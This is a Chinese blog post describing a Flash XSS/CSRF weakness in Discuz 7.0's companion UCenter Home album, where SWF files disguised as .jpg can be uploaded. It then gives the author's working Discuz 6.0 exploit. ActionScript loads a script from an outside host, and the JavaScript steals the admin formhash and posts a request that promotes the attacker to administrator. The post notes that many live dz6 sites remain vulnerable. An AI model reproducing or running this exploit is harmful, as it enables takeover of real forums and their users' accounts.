Discuz7.0.0 Flash Xss 老漏洞新想法

作者:hack1990 时间:10-11-24 阅读数:561人阅读

今天去DZ的官网看了一下,已经无法上传jpg后缀的swf文件了,但是大家注意到了么,和DZ配套的ucenter空间的相册,是可以上传jpg后缀的swf文件的。

于是我下载了最新版本的DZ7.0以及ucenter和ucenter空间,测试后果然可以上传,那么也就是说,这里存在一个csrf漏洞,但是利用条件必须满足discuz.net域下必须有一个可以嵌入flash的页面,普通注册用户是无法在dz官网发布嵌入flash的帖子的。

另外给大家一个东西,是我写的dz6.0的通用xss提升自己为管理员的脚本。

首先是flash actionscript,可以自动检测发帖者的uid,并传给php后缀的js文件getURL("javascript:var re = new RegExp(authorid=(.+)",ig); var arr = re.exec(document.body.innerHTML); uid = arr[1]; document.all.tags(SCRIPT)[0].src=http://www.mariocms.cn/xss/discuz6.js.php?uid= + uid;eval();","_self");
然后是生成js的php代码  copy的rcale的  自己稍微改了下通用了var url="<?=dirname($_SERVER[HTTP_REFERER])?>/";

var request = false;

        if(window.XMLHttpRequest) {

            request = new XMLHttpRequest();

            if(request.overrideMimeType) {

                request.overrideMimeType(text/xml);

            }

        } else if(window.ActiveXObject) {

            var versions = [Microsoft.XMLHTTP, MSXML.XMLHTTP, Microsoft.XMLHTTP, Msxml2.XMLHTTP.7.0,Msxml2.XMLHTTP.6.0,Msxml2.XMLHTTP.5.0, Msxml2.XMLHTTP.4.0, MSXML2.XMLHTTP.3.0, MSXML2.XMLHTTP];

            for(var i=0; i<versions.length; i++) {

                try {

                    request = new ActiveXObject(versions[i]);

                } catch(e) {}

            }

        }

xmlHttpReq=request;

/*hash*/

 

xmlHttpReq.open("GET", url+"admincp.php?action=home", false);

xmlHttpReq.send(null);

var resource = xmlHttpReq.responseText;

var numero = resource.search(/formhash/);

var formhash=encodeURIComponent(resource.substr(numero+17,8));

 

alert("admincp.php?action=editgroups&uid=<?=$_REQUEST[uid]?>");

 

var post="formhash="+formhash+"&groupidnew=1&extgroupidsnew[]=1&editsubmit=%CC%E1%20%BD%BB";//构造要携带的数据

xmlHttpReq.open("POST",url+"admincp.php?action=editgroups&uid=<?=$_REQUEST[uid]?>",false);//使用POST方法打开一个到服务器的连接,以异步方式通信

xmlHttpReq.setRequestHeader("Referer", url);

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);//发送数据
还有就是  现在仍然不少人用dz6  很多人把那个插入一句话的漏洞补上了  但是还是可以设置为后台管理员的

发表评论